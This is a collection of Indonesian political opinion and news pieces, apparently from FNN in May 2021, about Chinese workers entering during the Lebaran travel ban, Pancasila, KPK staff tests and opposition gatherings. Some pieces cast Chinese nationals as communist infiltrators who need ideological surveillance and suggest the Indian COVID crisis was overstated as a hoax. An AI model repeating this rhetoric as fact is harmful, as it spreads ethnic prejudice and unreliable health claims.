atau “TKA Cina Watch” dan sejenisnya. Perlu untuk dibentuk. Ketiga, mengingat WNA Cina adalah bagian dari komunisme Cina, maka perlu dilakukan pengawasan yang ketat dari institusi negara. Lembaga intelijen seperti Badan Intelijen Negara (BIN) dan Badan Intelijen Daerah (BINDA) perlu meningkatkan pengawasan dan pendataan dari aspek ideologis. Demikian juga dengan instansi Kepolisian. Intelkam dituntut untuk lebih cermat "memantau". Berita di berbagai media yang hingga kini belum terklarifikasi bila tidak diantisipasi, maka dapat saja membahayakan keamanan negara. Kedatangan TKA Cina gelombang demi gelombang mencolok mata di depan publik. Belum lagi keeratan beberapa partai politik di Indonesia dengan Partai Komunis Cina jelas-jelas lebih mengkhawatirkan lagi. Waspada investasi yang dapat berubah menjadi infiltrasi, aneksasi, dan eliminasi. Rakyat resah dan gelisah dengan keberadaan TKA Cina. Penulis adalah Pemerhati Politik dan Kebangsaan.

Selamat Mudik ke Indonesia TKA Dari China

SEJAK tanggal 6 Mei 2021 pemerintah secara resmi melakukan larangan mudik secara total. Semula ada kelonggaran mudik terbatas antar-kota yang berdekatan (Aglomerasi). Warga di kawasan Jabodetabek, Surabaya Raya, dan 6 kawasan aglomerasi lainnya diperbolehkan melakukan mudik. Namun atas permintaan dari Satgas Covid-19, semua pergerakan warga selama libur lebaran, dilarang. Keputusan pemerintah ini sesungguhnya bisa dipahami dalam konteks penanggulangan Covid-19. Angka infeksi corona belum menunjukkan tanda-tanda penurunan. Perkembangan terbaru malah menunjukkan tanda-tanda yang mengkhawatirkan. Kementerian Kesehatan menemukan varian baru virus corona asal India. Negara dengan jumlah penduduk terbesar kedua di dunia itu, saat ini tengah mengalami badai corona yang sangat mengkhawatirkan. Banyak warga India yang mencoba menyelamatkan diri. Meninggalkan negara tersebut. Salah satu negara tujuan adalah Indonesia. Keputusan pemerintah melakukan larangan mudik secara total itu imbasnya langsung terasa di lapangan. Petugas melakukan penyekatan di berbagai ruas jalan tol dari Jakarta menuju kawasan Timur (Jawa) dan kawasan Barat (Sumatera). Di sejumlah kota-kota besar di seluruh Indonesia pencegahan arus mudik juga dilakukan. Ratusan, bahkan ribuan mobil dipaksa putar haluan. Ratusan ribu, bahkan jutaan warga yang ingin mudik, terpaksa gigit jari. Terjadi ketegangan antara petugas dengan para pemudik. Kemacetan panjang terjadi di beberapa ruas jalan tol. Petugas tidak peduli dan tak mengenal kompromi. Pemandangan ini sangat kontras dengan fenomena di Bandara Soekarno-Hatta. Ratusan pekerja dari China melenggang masuk dengan menggunakan pesawat charter. Mereka menggunakan pesawat charter. Ada yang menyewa pesawat China Southern Airlines, dan juga pesawat Lion Air. Kementerian Perhubungan berkilah mereka telah memenuhi syarat keimigrasian berupa VISA/KITAP/KITAS dan mempunyai dokumen kesehatan berupa hasil test PCR dengan hasil negatif. Pemerintah boleh saja berkilah, mengajukan argumen apapun. Tapi pesan yang sampai kepada publik sangat jelas. Pemerintah sangat mengistimewakan TKA asal China, dan mendiskriminasi anak bangsa sendiri. Isu ini menjadi sangat sensitif di tengah liburan mudik lebaran. Kondisi psikologis masyarakat kita, terutama di kota-kota besar sedang super sensitif. Pandemi dan tekanan ekonomi memberikan pukulan ganda. Sejak pandemi merebak pada awal Maret tahun 2020, mobilitas masyarakat sangat dibatasi. Mudik juga sangat dibatasi, di tengah-tengah perdebatan antara mudik atau pulang kampung yang diperbolehkan. Tekanan ekonomi juga sangat tinggi. Banyak yang kehilangan pekerjaan, usahanya gulung tikar. Pulang kampung selama ini selain jadi semacam ritual sakral keagamaan, sekaligus merupakan masa rehat panjang melepas kepenatan dan ketegangan. Namun, mereka kini harus berhadapan dengan kekuasaan yang tidak kenal kompromi. Sebaliknya, dengan mata kepala sendiri mereka bisa menyaksikan suasana yang sangat kontras, perlakuan istimewa kepada para TKA China. Pemerintah membuka lebar-lebar pintu negara untuk TKA China. Tetapi, menutup rapat-rapat pintu mudik bagi warganya. Pemerintah harus menyadari sepenuhnya situasi kebatinan masyarakat saat ini. Kondisi masyarakat kita seperti jerami kering yang sangat mudah dipantik di musim kemarau yang panjang. Mereka merasa diperlakukan secara tidak adil. Ditekan. Didiskriminasi. Dihadapi dengan sikap keras. Sementara tenaga kerja asing dari negara Komunis China diistimewakan. Situasi ini bila tidak segera disadari oleh pemerintah, dampaknya bisa sangat serius. Seperti air yang sedang mendidih, rakyat memerlukan katarsis agar tidak terjadi ledakan yang tidak kita inginkan. Selamat mudik TKA China. **

Rezim Ini Telah Paripurna Mengingkari Pancasila

Tangsel, FNN - Pemerintah Jokowi menempatkan dasar negara Pancasila hanya sebagai simbol belaka. Kelima silanya telah dilanggar dengan jelas dan tuntas. Hal ini disampaikan oleh aktivis Hak Asasi Manusia, Natalius Pigai dalam diskusi terbatas di Sekolah Insan Cendekia Mandiri, BSD, Tangerang Selatan, Jum'at (07/05/2021). Para tokoh yang hadir di antaranya LaNyalla Mataliti Ketua DPD RI, Tamsil Linrung anggota DPD RI, Rizal Ramli mantan Menteri Koordinator Ekonomi era Presiden Gus Dur dan mantan Menko Bidang Kemaritiman era Presiden Jokowi/ekonom), Bachtiar Hamsah mantan Menteri Sosial, MS Ka'ban (Partai Ummat/mantan Menteri Kehutanan era Presiden SBY), Adie Masardi (mantan Juru Bicara Presiden Gus Dur/KAMI), Natalius Pigai (mantan Komisioner Komnad HAM/pemerhati HAM), Said Didu (mantan Sekretaris Kementerian BUMN). Pigai menegaskan pada sila pertama, Ketuhanan Yang Mahaesa, negara tidak menjamin rakyatnya untuk menjalankan ibadah sesuai keyakinannya. Negara justru hadir sebagai monster bagi umat Islam, ulama, dan tokoh-tokohnya. Negara rajin melabeli umat Islam dengan cap teroris dan intoleran. Negara lupa, sejarah mencatat bahwa banyak pemimpin jatuh karena tokoh-tokohnya dimusuhi. Agama itu penting sebagai pijakan dalam membangun sebuah bangsa. Yang kedua, kata Pigai Kemanusiaan Yang Adil dan Beradab. Rakyat takut hidup di negaranya, takut mengekspresikan pikiran, ide, dan gagasannya. Akibatnya rakyat menjauhi negara karena negara hadir memusuhi rakyat. Kenyataan hari ini, seolah-olah sila ke-2 sudah hilang. Sila ke 3, Persatuan Indonesia. Rezim ini gagal mengintegrasikan Indonesia yang majemuk. Persatuan menjadi barang langka saat ini. Adu domba terus menerus dipelihara dengan bantuan buzzer. Ini membahayakan keutuhan NKRI. Sila ke 4, Kerakyatan yang Dipimpin oleh Hikmah Kebijaksanaan dalam Permusyawaratan Perwakilan. Demokrasi yang dijalankan oleh rezim adalah demokrasi sesuai selera penguasa. Rezim ini merancang politik kapitalis. Negara gagal bukan karena sumber daya manusia, tetapi karena sumber daya alam yang telah dikavling oleh kapitalis. Hari ini mereka telah melancarkan kejahatan oligarki politik. Ke depan mereka sedang menyiapkan oligarki hukum. Pengingkaran sila ke 5, Ketidakadilan Bagi Seluruh Rakyat Indonesia adalah adanya ketimpangan antara timur dan barat, antara Jawa dan luar Jawa. Saat ini tidak ada distribution of justice dan distribution of power. Ketidakadilan yang utama adalah distribution of power. Presiden sekarang rasis. Dari 34 menteri gak ada satu pun orang kulit hitam. Jadi, saat ini Pancasila hanya simbolik saja. Keadilan bisa tercapai kalau tatanan bernegara dibangun dengan baik dan benar. Hari ini rakyat bisa berjalan tanpa kehadiran negara. Artinya perlunya struktur bernegara yang baru. (SWS)

Ketua DPD Minta Arah Kebijakan Ekonomi Dikembalikan ke UUD 45

Jakarta, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, menyerukan agar arah kebijakan perekonomian nasional kembali kepada Pasal 33 UUD 1945. Hal ini ia sampaikan dalam diskusi terbatas di Sekolah Insan Cendekia Madani, Bumi Serpong Damai, Tangerang Selatan, Jumat (7/5/2021). Dalam kesempatan itu, LaNyalla menyampaikan empat prioritas yang menjadi concern kerja DPD RI sebagai wakil daerah. Senator asal Jawa Timur itu menjelaskan, sejak tahun 2020 lalu, seluruh senator di DPD RI sepakat menggunakan tagline Dari Daerah Untuk Indonesia. "Dengan tagline itu, DPD RI akan terus memperjuangkan aspirasi dari daerah. Dan untuk mewujudkan itu, DPD RI harus punya Nyali dan terus Menyala," katanya. Sebagai bentuk keseriusan DPD untuk membangun daerah, LaNyalla mengatakan ada empat prioritas yang menjadi concern kerja DPD RI. "Yang pertama, DPD RI berkomitmen DPD RI untuk memajukan sektor pertanian dan mewujudkan kedaulatan pangan. Sebab, Indonesia adalah negara dengan potensi sumber daya alam yang besar. Oleh karena itu, kita wajib membangun sektor pertanian yang modern dan tangguh sebagai tulang punggung perekonomian dan meningkatkan produksi nasional sekaligus meningkatkan kesejahteraan petani, yang merupakan 35,8 persen penduduk Indonesia," katanya. Yang menjadi prioritas kedua DPD RI adalah membangun negara maritim yang kuat dan maju. Ketua Dewan Kehormatan Kadin Jawa Timur itu menjelaskan, Indonesia adalah salah satu negara kepulauan dengan wilayah laut terluas dan garis pantai terpanjang di dunia. "Sudah jelas, bahwa logikanya, sektor kemaritiman Indonesia harus menjadi potensi besar yang dimiliki Indonesia untuk mewujudkan Indonesia yang adil dan makmur. Karena itu, dalam Prolegnas tahun ini, DPD RI mengajukan Rancangan Undang-Undang inisiatif DPD RI, tentang Pemerintahan Daerah Kepulauan," urainya. Sedangkan prioritas Ketiga DPD RI adalah membangun ketahanan energi, pengelolaan Sumber Daya Alam dan Lingkungan Hidup. Menurutnya, seluruh sumber daya alam yang dimiliki Indonesia harus dikelola untuk kesejahteraan seluruh rakyat Indonesia secara adil dan merata. "Dan yang menjadi prioritas terakhir DPD RI adalah membangun dari daerah. Artinya, program pembangunan dan pemberdayaan ekonomi daerah harus didukung dengan percepatan, perluasan dan pemerataan pembangunan infrastruktur di seluruh daerah dengan memberikan perhatian dan penekanan khusus kepada kawasan timur dan barat Indonesia," tuturnya. Alumnus Universitas Brawijaya Malang itu menjelaskan, wajah Indonesia adalah wajah 34 provinsi. Bukan wajah pulau Jawa saja. "Desa juga menjadi wajah Indonesia. Oleh karena itu, kita ingin pembangunan desa terus dilakukan. Sehingga desa bisa menjadi kekuatan ekonomi. Karena itu, DPD RI juga mengajukan Rancangan Undang-Undang inisiatif DPD RI, tentang Badan Usaha Milik Desa," tuturnya. Dalam kesempatan itu, LaNyalla juga menekankan pentingnya DPD RI menyuarakan kepentingan daerah di tingkat nasional. Menurutnya, kepentingan daerah bukan hanya soal otonomi saja. "Ada tiga isu strategis di daerah. Yakni, pemerataan pembangunan di daerah, peningkatan indeks fiskal daerah dan kesejahteraan serta kemakmuran rakyat. Dan itu harus ditempuh dengan membenahi manajemen ekonomi bangsa," katanya. LaNyalla menambahkan, arah dan kebijakan pembangunan ekonomi ke depan harus diletakkan dan dikembalikan secara konsisten sesuai dengan amanat Pasal 33 UUD 1945 tentang Perekonomian Nasional. (SWS)

Dua Tokoh Oposisi Bertemu di Malam Penuh Ampunan

by Gde Siriana Yusuf Jakarta FNN - Bertemunya dua tokoh nasional adalah hal yang lumrah. Tetapi bertemunya seorang Rizal Ramli dengan Gatot Nurmantyo, yang dicap penguasa sebagai tokoh oposisi selama ini dianggap banyak kalangan aktivis sebagai suatu keniscayaan. Dan malam ini, menyambut malam penuh ampunan, Ramadhan hari ke-25 memberikan anugerah bagi yang sangat luar biasa. Kebesaran Allaah Subhanahu Wata’ala itu benar-benar datang pada Jum’at kemarin. Suatu peristiwa yang sudah lama ditunggu-tunggu dan diharapkan banyak kalangan yang ingin menyelamatkan negeri ini dari keterpurukan yang lebih dahsyat dan mengerikan. Maka ketika Rizal Ramli dan Gatot Nurmantyo shalat bersama di mesjid yang sama, ini menjadi hal yang sangat langka sekaligus penuh barokah. Peristiwa yang kemungkinan tidak dikehendaki oleh penguasa. Sebab penguasa sepertinya berharap kedua tokoh oposisi yang paling disegani oleh jangan sampai duduk makan satu meja. Apalagi sholat berjamaah. Pertemuan kedua tokoh ini di suatu masjid pun menjadi hal yang menarik untuk dibahas. Kata “masjid” yang berakar dari bahasa Arab, yang berarti tunduk, patuh dan ta'at dengan penuh ta'ẓim dan hormat. Dalam bahasa populernya, masjid menjadi tempat ibadah, dimana manusia menundukkan hati dan raganya ke hadapan Sang Pencipta Allaah Subhanahu Wata’ala. Dalam konteks ketaatannya kepada Tuhan Yang Maha Esa, Allaah Azza wa Jalla, para tokoh itu bertemu untuk memikirkan nasib bangsa. Subhanallah ya robbi. Saya melihatnya pertemuan ini menandakan telah terbentuknya frekuensi yang sama dalam melihat situasi bangsa saat ini. Bagaimana tidak. Berbagai persoalan yang muncul semakin menumpuk tanpa sebagai tanda-tanda akan berakhir. Pada setiap rezim, selalu ada saja cara untuk mengelola, atau dalam bahasa yang lebih keras merepresi warga negara atau sekelompok masyarakat yang dianggap kritis oleh penguasa. Kenyataan yang terjadi saat ini adalah kebijakan represif penguasa, yang bukan saja membungkam dan menyebarkan rasa takut yang mendalam pada masyarakat. Lebih fundamental dari itu, yaitu hancurnya nilai-nilai yang berlaku umum di dalam kehidupan manusia. Yang terjadi saat ini misalnya, munculnya sikap yang apologetik terhadap bentuk-bentuk kekerasan. Begitu juga dengan kriminalisasi terhadap orang-orang yang dianggap kritis dan berseberangan dengan kekuasaan. Sikap yang apologetik terhadap upaya penyingkiran orang-orang yang punya integritas di Komisi Pemberantasan Korupsi (KPK). Kita bisa melihat bagaimana sebagian orang yang seharusnya berperan sebagai cendekia, tetapi karena pro penguasa membiarkan revisi UU KPK dan RUU Omnibus Law Cipta Kerja diloloskan. Padahal nyatanya mayoritas rakyat Indonesia menolaknya. Hanya karena mereka melihat bahwa yang menentang RUU itu adalah orang kritis yang berseberangan dengan penguasa. Hak setiap warga warga negara untuk terlibat aktif pada penyusunan suatu RUU. Tetapi stigmasisasi oposisi digunakan untuk memberi label "melawan pemerintah" kepada orang-orang atau kelompok yang mengkritisi RUU kebijakan pemerintah. Semestinya hak warga negara itu tidak ada urusannya dengan menjadi oposisi atau pro penguasa. Sebab pemerintah hanya perpanjangan tangan dari kepentingan oligarki licik, picik, tamak dan culas. Tidak lebih. Juga ketika karangan bunga dipertontonkan untuk merayakan terbunuhnya enam anggota laskar Front Pembela islam (FPI) di kilometer 50 tol Jakarta-Cikampek. Dalam bahasa Rocky Gerung, bunga ini merayakan kehancuran Indonesia. Ini merupakan apologetik atas perbuatan yang melanggar hak Asasi Manusia (HAM), yang semestinya menjadi nilai universal yang dipegang teguh oleh siapapun dia. Terbaru adalah banyak kalangan yang diam ketika KPK sedang dijinakkan melalui upaya menyingkirkan orang-orang yang selama ini dikenal publik memiliki integritas yang tidak diragukan lagi. DPR sebagai lembaga yang menjadi andalan rakyat untuk mengawasi jalannya pemerintahan, justru makin jauh dari harapan rakyat. DPR menunjukkan sikap apologetik atas upaya pelemahan pemberantasan korupsi. Banyaknya elit atau kader parpol yang diduga terlibat dalam kasus korupsi belakangan ini membuat Parpol DPR terkesan ambigu. Tak berdaya atau diam saja ketika ada upaya-upaya membersihkan KPK dari orang-orang yang berintegritas. Harapan mereka yang terlibat kasus korupsi tentunya agar kasus-kasus yg sedang ditangani KPK tidak kan menyentuh para elit. Peran kontrol terhadap kekuasaan (eksekutif) kini justru diambil oleh seorang LaNyalla Mahmud Mataliti, Ketua Dewan Perwakilan Daerah Republik Indonesia (DPD RI) yang hadir juga dalam pertemuan dengan Gatot Numantyo dan Rizal Ramli. LaNyalla ikut urun rembuk dengan para tokoh di luar kekuasaan untuk bersama-sama melihat semua persoalan dalam perspektif yang sama. Masalah-masalah yang hingga saat ini mendera bangsa dan negara, dan belum juga diselesaikan saling berkaitan. Misalnya upaya pelemahan KPK, jelas sangat berkaitan dengan penggunaan anggaran yang tidak efisien dan efektif. Pertumbuhan ekonomi yang stagnan. Juga soal kesejahteraan dan kesenjangan sosial masyarakat yang semakin menurun dari hari ke hari. Dinamika perubahan sosial selalu menuntut tiga tahapan, yaitu kognisi, afeksi dan empati. Tiga tahapan adalah pola dari masyarakat dalam membangun kekuatan, yang potensial atas kehirauan pada masalah-masalah kenegaraan yang lebih mendasar. Ini pola yang sangat alamiah, dan kerap berulang di tengah-tengah menghadapi kesulitan masyarakat. Diperlukan suatu pemahaman yang sama (kognisi) atas akar masalah yang sesungguhnya. Kognisi ditandai dengan bertubi-tubinya pelbagai kejadian yang erat hubungannya dengan pengabaian pemenuhan hak dasar warga negara dalam hal ini rasa keadilan. Soal keadilan ini suatu fenomena yang sudah sangat dikenali oleh masyarakat luas. Pertemuan dua tokoh oposisi ini, ke depannya menuntut keterlibatan masyarakat lebih luas terhadap masalah besar bangsa saat ini. Bagaimana saling menunjukkan perasaan yang muncul di masyarakat (afeksi). Sebab afeksi memicu ingin turut andil atau melibatkan diri keluar dari masalah yang dihadapi. Diperlukan suatu “rumah bersama” untuk saling urun rembug membicarakan berbagi empati, bahwa rakyat merasakan senasib dan sepenanggungan. Jalinan empati masyarakat akan semakin solid dan dapat menumbuhkan kolaborasi dalam jejaring sosial yang menuntut perubahan mendasar karena diikat oleh "sense of belonging". Faktanya hari ini tahap afeksi ini sudah sampai pada tahap empati yang kini terus berjalan. Salah satu contohnya, urunan pengumpulan uang untuk membeli kapal selam. Jangan dilihat nominalnya, tetapi itu sebagai tanda bahwa rasa empati di lapisan masyarakat tak akan surut. Begini pola masyarakat dalam membangun kekuatan. Pola ini memungkinkan potensial atas kehirauan kepada masalah-masalah kenegaraan yang lebih mendasar. Melalui proses inilah, solusi untuk menyelamatkan Indonesia dapat disusun secara komprehensif. Karena itu, perlu keterlibatan berbagai kalangan, yang dalam tulisan bang Tamsil Linrung dikatakan sebagai "Mendorong Rekonsiliasi". Para tokoh nasional, akademisi, purnawirawan, profesional, mahasiswa, emak-emak, buruh, petani harus terlibat dalam satu gagasan besar menyelamatkan Indonesia. Pemimpin sejati tidak akan diam menonton penderitaan yang mendera rakyatnya. Dia harus menjadi inspirasi bagi suatu gagasan besar demi memperbaiki bangsanya, negerinya, dan peradaban manusia. Menyambut malam penuh ampunan ini, mereka telah menghidupkan mesin perubahan itu. Mesin yang menanti digerakkan orang-orang muda. Penulis adalah Komite Eksekutif Koalisi Aksi Menyelamatkan Indonesia (KAMI).

WNI Dilarang Mudik, WNA Malah Diizinkan Masuk

by Mochamad Toha Surabaya, FNN - Pernyataan Deklarator Koalisi Aksi Menyelamatkan Indonesia (KAMI) Said Didu perihal masuknya warga negara (WN) China ke tanah air di saat pelarangan mudik lebaran sedang diterapkan terus menjadi pergunjingan di masyarakat. Said Didu mengingatkan bahwa kasus ini tidak boleh dianggap sepele. Apalagi, berdasarkan catatannya, Palestina sebagai sebuah negara yang telah mengalami kehancuran setelah terjadi gelombang kedatangan tenaga kerja asing (TKA). “Negara Palestina saat ini ‘hilang’ berawal dari masuknya tenaga kerja asing secara masif. Saya ulangi ‘masuknya TKA secara masif’,” tegas Said Didu lewat akun Twitter pribadinya, Jumat (7/5/2021). Tidak hanya itu, Said Didu juga mengingatkan pemerintah bahwa peristiwa masuknya WN China, yang berulang bahkan tetap terjadi di saat rakyat dilarang untuk mudik ke kampung halaman, akan membuat rakyat paham bahwa ada kuasa besar di balik hal tersebut. Pasalnya, seperti dilansir RMOL.id, Jumat (07 Mei 2021, 14:25 WIB), hanya mereka yang sangat kuat yang bisa mengkoordinasikan sejumlah kementerian dan lembaga untuk kompak meloloskan TKA China ke dalam negeri. “Jika Kemenlu (Kedubes), Kemenkumham (Imigrasi), Kemenhub (izin penerbangan), Polisi (pengamanan) kompak ‘membantu’ masuknya TKA China di tengah melarang rakyat mudik, maka publik paham bahwa hanya yang sangat berkuasa (saja) yang bisa memerintah banyak instansi secara bersamaan,” tutupnya. Dalih adanya peningkatan kasus Covid-19 ketika Lebaran 2020, Natalan 2020, dan Perayaan Tahun Baru 2021 selalu menjadi alasan pelarangan Mudik Lebaran 2021. Apalagi, ditambah dengan tayangan “honor India” yang ternyata Hoax. Per 26 April, India mencatat 352.991 kasus Covid-19 baru, hari kelima dari rekor tertinggi, dan 2.812 kematian baru, angka kematian harian tertinggi sejauh ini. Menurut Tempo, India mengalami kekurangan tempat tidur dan oksigen untuk pasien Covid-19 ketika kasus infeksi di sana semakin melonjak. Ibukota India, New Delhi, mencatat 25.500 kasus Covid-19 baru dalam periode 24 jam. Namun, kurang dari 100 tempat tidur untuk perawatan kritis tersedia di kota itu. Sementara jumlah kasus di seluruh India pada hari itu mencapai sekitar 233 ribu. Pada 1 Mei, India mencatatkan rekor tertinggi jumlah dalam satu hari, yakni 401.993 kasus. Krematorium di seluruh India dipenuhi dengan mayat. Pasien terengah-engah dan sekarat, karena rumah sakit kehabisan oksigen. India telah melaporkan lebih dari 300 ribu kasus baru setiap harinya selama 9 hari berturut-turut sejak 21 April sebelum mencapai angka 400 ribu. Namun, berdasarkan pemeriksaan cek fakta Tempo, klaim bahwa video di atas bukan video kremasi jenazah Covid-19 di, tapi kremasi korban kebocoran gas, keliru. Video dan foto kremasi massal yang konon korban Covid-19 di India, yang banyak dibagikan beberapa hari yang lalu oleh netizen, termasuk juga media kelas kakap, seperti Tempo, Metro dan Kompas ternyata Hoax. Itu adalah video dan foto korban kebocoran gas Tahun Lalu, dan kremasi massal pada 2012. Kejadiannya betul di India. Jadi semua mau “dicovidkan”? Ingat, segala yang bombastis dan merangsang orang untuk cepat-cepat menyebarluaskan nya umumnya adalah Hoax. Sayangnya, narasi “honor India” itu selalu didengungkan oleh pejabat sebagai “peringatan” agar jangan sampai terjadi di Indonesia akibat dari aktivitas kerumunan peringatan hari-hari keagamaan, seperti Lebaran dan Natal 2020, serta Tahun Baru 2021. Sehingga larangan Mudik Lebaran 2021 pun diumumkan Pemerintah. Penyekatan dilakukan oleh Satgas Covid-19 dibantu aparat Polisi dan TNI. Bersenjata lengkap seperti akan terjadi perang. Sementara karpet merah digelar untuk TKA China masuk Indonesia. Konon, Penerbangan rute Wuhan-Jakarta itu sudah mendapatkan Flight Approval (FA) dari Direktorat Jenderal Perhubungan Udara untuk melayani penerbangan charter dengan tujuan pengangkutan WNA asal China untuk kepentingan pekerjaan/perusahaan. Kebijakan Pemerintah yang dirasakan “tidak adil” itu dikritisi Anggota DPR RI dari Fraksi PAN, Athari Gauthi Ardi. Ia berekasi keras terhadap masuknya warga asing yang dikabarkan dari Wuhan ke Jakarta. Menurutnya, kebijakan pemerintah yang melarang mudik dan di satu sisi membiarkan warga asing masuk terasa sangat aneh. Pemerintah harus lebih komit lagi dengan aturan yang dibuat tentang pelarangan mobilisasi orang di tengah pandemi Covid-19 ini. Dikatakan Athari, harusnya pelarangan ini berlaku untuk semuanya, tanpa pilah-pilih seperti saat ini. “Ini kan aneh, mudik dilarang, tapi warga asing masuk ke Indonesia. Aturan harus berlaku untuk semuanya,” kata politisi asal Sumbar itu. Athari juga meminta pemerintah bijak dan menutup semua akses masuk untuk orang asing ke Indonesia. “Segera tutup seluruh arus keluar masuk di sektor perhubungan darat laut maupun udara. Baik domestik ataupun luar negeri. Jangan pilih kasih,” ujar Anggota Komisi V ini, seperti dilansir Hantaran.co, Selasa (4/5/2021). Sopir Madura Kami para sopir angkutan memohon kepada Bpk. Presiden, DPR, Gurbenur, Walikota, dan Bupati. Dengan menutup pintu keluar masuk propinsi secara tidak langsung membunuh mata pencaharian kami.. Jangan biarkan anak2 kami menangis pilu di saat anak2 kalian tertawa gembira. Jangan biarkan kami kelaparan di saat kalian terlelap tidur karena kekenyangan. Karena anak, istri berikut kredit mobil kami tidak ditanggung oleh negara. Kenapa harus kami yg dikorbankan karena ketakutan kalian yg tidak kami takuti.. Yang kami takuti apabila anak dan istri kami mati kelaparan. Karena tidak dapat makan. siapakah yang bertanggung jawab? Padahal Allah menyuruh kami tetap berusaha dan bertanggung jawab kepada anak dan istri kami. Itu yang kami pertanggung jawabkan di akhirat nanti. Kenapa kami selalu dihadapkan dengan aparat hukum, dibentak, dihardik seakan kami ini teroris..padahal kami ini adalah pejuang dan pahlawan bagi keluarga kecil kami.. Di saat kalian berbagi THR kami hanya bisa berkata 'Apakah esok hari anak2 kami dapat makan" Apakah kalian pernah merasakan di saat semua orang tidur nyenyak ada seorang sopir tetap terbangun dan bekerja menafkahi keluarganya demi memberikan kehidupan yg layak utk anak istrinya.. Apakah ada cara lain yang bijak dengan tidak membunuh mata pencaharian kami..berilah aturan yg adil buat kami semoga dapat hidayah . Wassalam Curahan hati seorang sopir angkutan lokasi Madura Jawa-Timur Penulis adalah Wartawan Senior FNN.co.id

Satu Kali Tes Kebangsaan 75 Pegawai KPK Terpental

BADAN Kepegawaian Negara (BKN) baru saja menyelesaikan Tes Wawasan Kebangsaan (TWK). Ada 75 pegawai senior Komisi Pemberantasan Korupsi (KPK) yang dinyatakan tak lolos, salah satunya penyidik senior Novel Baswedan. Tentu saja publik tidak percaya, kaget dan sama sekali diluar akal sehat. BKN pun menyerahkan status 75 pegawai KPK yang tidak lolos TWK kepada pimpinan KPK. Kepala BKN, Bima Haria Wibisana menjelaskan dalam waktu dekat KPK akan berkoordinasi dengan BKN dan Kemenpan Reformasi Birokrasi. Namun untuk keputusan akhir dan pengumuman status para pegawai tersebut berada di tangan pimpinan KPK, bukan di BKN. BKN hanya sebagai penyelenggara tes dan telah menyerahkan hasil penilaian kepada KPK. Ketua KPK Firli Bahuri sendiri menyatakan bahwa ada 75 pegawai KPK yang tidak lolos TWK dalam rangka alih status menjadi ASN. Kendati demikian, Firli memastikan bahwa tidak ada pegawai KPK yang dipecat. Dijelaskan Firli, pihaknya akan berkoordinasi lebih dulu dengan Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB) dan BKN soal 75 pegawai yang tidak lolos TWK. Celakanya, Menpan RB Tjahjo Kumolo justru bicara dengan ketus. "Soal nasib 75 pegawai KPK bukan urusan Kemenpan RB, melainkan urusan KPK." Sampai di sini kita paham ada sesuatu yang tak beres. Singkatnya, KPK ingin dimandulkan dengan cara mengusir para penyidik KPK yang kredibel, yang tengah menangani kasus-kasus besar, yang menyasar para petinggi partai besar. Lantas, tes macam apa yang disodorkan BKN kepada para pegawai KPK, khususnya para penyidik senior dan kredibel sehingga mereka tak lolos? Penyidik sekaligus Ketua Wadah Pegawai KPK Yudi Purnomo Harahap mengungkapkan beberapa kejanggalan pertanyaan saat mengikuti TWK dalam rangka alih status menjadi ASN. Salah satu pertanyaan janggal yang muncul di tes wawasan kebangsaan dalam rangka alih status ASN tersebut yakni, terkait ucapan selamat hari raya ke agama lain. Yudi mengaku heran berkaitan dengan pertanyaan yang menurutnya adalah hal biasa tersebut. "Saya heran ketika ada pertanyaan ke saya tentang apakah saya mengucapkan selamat hari raya ke umat beragama lain," ungkap Yudi. Yudi berpikir seharusnya pewawancara sudah mendapatkan informasi bahwa di KPK mengucapkan selamat hari raya kepada rekannya yang merayakan merupakan hal biasa baik secara langsung maupun melalui Grup WA. Yudi mengungkapkan, selama bekerja di KPK, dirinya kerap memberi ucapan hari raya ke agama lain. Bahkan, dia mengaku beberapa kali mengisi sambutan sebagai Ketua Wadah Pegawai KPK saat acara Natal. Menurutnya, itu adalah hal biasa dalam toleransi beragama. Pertanyaan lain yang nyeleneh, seperti soal bersedia lepas jilbabkah, soal doa qunut, soal radikalisme, isu taliban, hingga soal-soal remeh temeh lainnya. Menanggapi itu semua, peneliti senior Pusat Kajian Antikorupsi (PUKAT) FH UGM, Zainal Arifin Mochtar, menyebut 75 pegawai yang tak lolos merupakan nyawa yang membuat KPK masih berdenyut meski sudah dilemahkan. Sehingga apabila 75 pegawai tersebut pada akhirnya dipecat, kata Zainal, KPK bisa dikatakan sudah tiada. "Kalau kemudian tes wawasan kebangsaan dan menghilangkan 75 orang yang sebenarnya membuat KPK kelihatan masih berdenyut," ujar Zainal dalam diskusi virtual pada Jumat (7/5). "Artinya saya yakin kalau 75 (pegawai) ini dibuang, sama dengan menarik selang pernapasan terakhir yang bisa menambah atau memperpanjang napas sekaratnya KPK. Kalau ini (75 pegawai KPK) dihapus, maka saya bisa katakan terhadap KPK Innalillaahi wa Inna Ilaihi raji'un," sesalnya. Sebenarnya, upaya pembunuhan KPK dimulai sejak revisi UU pada pertengahan 2019, kemudian pemilihan pimpinan periode 2019-2023 yang kontroversial, tes ASN, dan puncaknya saat Mahkamah Konstitusi (MK) memutus UU KPK hasil revisi sah dan konstitusional. Ia meyakini ada orkestrasi, pengaturan ritme musik yang bersamaan untuk membunuh KPK secara terencana, dan MK jadi bagian ketika membaca surat kematiannya KPK. Putusan MK yang menyatakan UU KPK hasil revisi sah, menurut Zainal, menimbulkan kematian bukan hanya bagi KPK, tetapi juga MK. Sebab MK sudah kehilangan moralitas dalam memutus revisi UU KPK yang nyata-nyata kontroversial. Putusan MK kemarin 1 kejahatan yang menyebabkan 2 kematian. Satu mengancam kehidupan KPK yang menjadi sekarat, tapi di saat yang sama menunjukkan kematian moralitas konstitusional di MK oleh hakim-hakim konstitusi. Gestur kebijakan pimpinan KPK hari ini jelas-jelas memerangi para penyidik yang kredibel, profesional dan buas terhadap koruptor. Hasilnya ke depan tentu KPK akan tumpul, malu-malu kucing kepada koruptor, dan bak kerbau dicucuk hidung oleh oligarki.

Mendorong Rekonsiliasi

